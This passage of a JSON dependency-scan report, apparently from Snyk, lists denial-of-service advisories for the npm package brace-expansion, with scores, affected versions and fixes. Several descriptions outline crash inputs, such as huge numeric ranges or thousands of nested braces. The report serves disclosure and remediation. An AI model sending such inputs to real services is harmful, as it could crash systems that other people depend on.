"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": 